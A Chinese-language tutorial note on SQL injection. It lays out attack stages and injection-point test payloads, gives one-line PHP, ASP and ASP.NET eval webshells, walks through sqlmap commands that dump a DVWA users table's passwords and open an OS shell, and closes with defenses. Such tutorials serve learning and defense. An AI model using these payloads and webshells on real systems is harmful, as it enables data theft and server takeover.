打造自己的理論體系
1、SQL Inject漏洞概述
在owasp發佈的top 10漏洞裏面,注入漏洞一直都是危害第一,其中主要是數據庫注入漏洞。
數據庫注入漏洞,主要是開發人員在構建代碼時候,沒有對輸入邊界進行恰當的過濾,則可能使得攻擊者通過構造惡意的SQL語句到字段中,從而到達欺騙後臺數據庫的目的,進而數據庫信息泄露的一種漏洞。
2、SQL Inject攻擊流程
第一步:發現注入點
自動方式:使用web漏洞掃描工具,自動進行注入點發現
手工方式:通過構建特殊的SQL語句進行注入點發現
第二步:信息獲取
通過注入點的實現得到期望的數據,比如:
環境信息:數據庫類型,數據庫版本,操作系統版本,用戶信息等。
數據庫信息:通過kali工具sqlmap獲取數據庫表名,數據庫表,數據庫表字段,數據庫表字段內容。
第三步:進行權限提升
獲取root權限,通過數據庫執行shell,上傳木馬。
3、注入檢測
SQL注入分類可以分爲:
- 盲注:布爾盲注/時間盲注
- 報錯注入:應用會顯示全部或者部分的報錯信息
- 堆疊注入:有的應用可以加入
;
後一次執行多條語句 - 其他
注入點判斷:數字型
數字型注入:http://www.xxx.com/?id=6 (and 1=1 /and 1=2)
單引號測試:http://www.xxx.com/?id= ’
注入點判斷:字符型
字符型注入:http://www.xxx.com/?id=8’ and 1=1-- (–後面需要有空格)
注入點判斷:搜索型
搜索型注入:http://xxx/search.php?search=
eg;輸入1% and 1=1 --
或者1%' and '%1%' = '%2
總結,就是對SQL中的各種類型的輸入進行閉合測試,構造合法SQL語句,欺騙後臺執行操作。
4、一句話木馬,中國菜刀
一句話木馬是一種短小而精悍的木馬客戶端,隱蔽性好,且功能強大。
PHP:<?php @eval($_POST['password']):?>
ASP:<%eval request("password")%>
ASP.NET:<%@Page Language="Jscript"%><%eval(Request.Item["password"],"unsafe");%>
5、SQLmap使用-經典6步法
第一步:
-u “http://www.xxx.com” --cookie="yyy" //帶上cookie對URL進行注入探測
第二步:
-u “http://www.xxx.com” --cookie="yyy" -current-db //對數據庫名進行獲取
第三步:
-u “http://www.xxx.com” --cookie="yyy" -D dvwa --tables //對數據庫dvwa的表名進行枚舉
第四步:
-u “http://www.xxx.com” --cookie="yyy" -D dvwa -T users --columns //對dvwa庫裏面的名爲users表的列名進行枚舉
第五步:
-u “http://www.xxx.com” --cookie="yyy" -D dvwa -T users -C name password --dump //探測users表中name和password字段,然後爆破
第六步:
-u “http://www.xxx.com” --cookie="yyy" --os-shell //獲取shell
補充
--help //顯示幫助信息
-v x // x=0~6 不同級別顯示不同程序的過程信息,數值越大,越詳細
--dbs //顯示所有的數據庫
--users //顯示當前登陸的用戶名
--purge--output //清除之前的緩存日誌
--password //對爆破出來的密碼進行枚舉
6、SQL Inject防範措施
- 對代碼層面
對輸入進行嚴格的轉化和過濾
使用參數化 - 網絡層面
通過WAF設備啓用防SQL注入的策略
雲端防護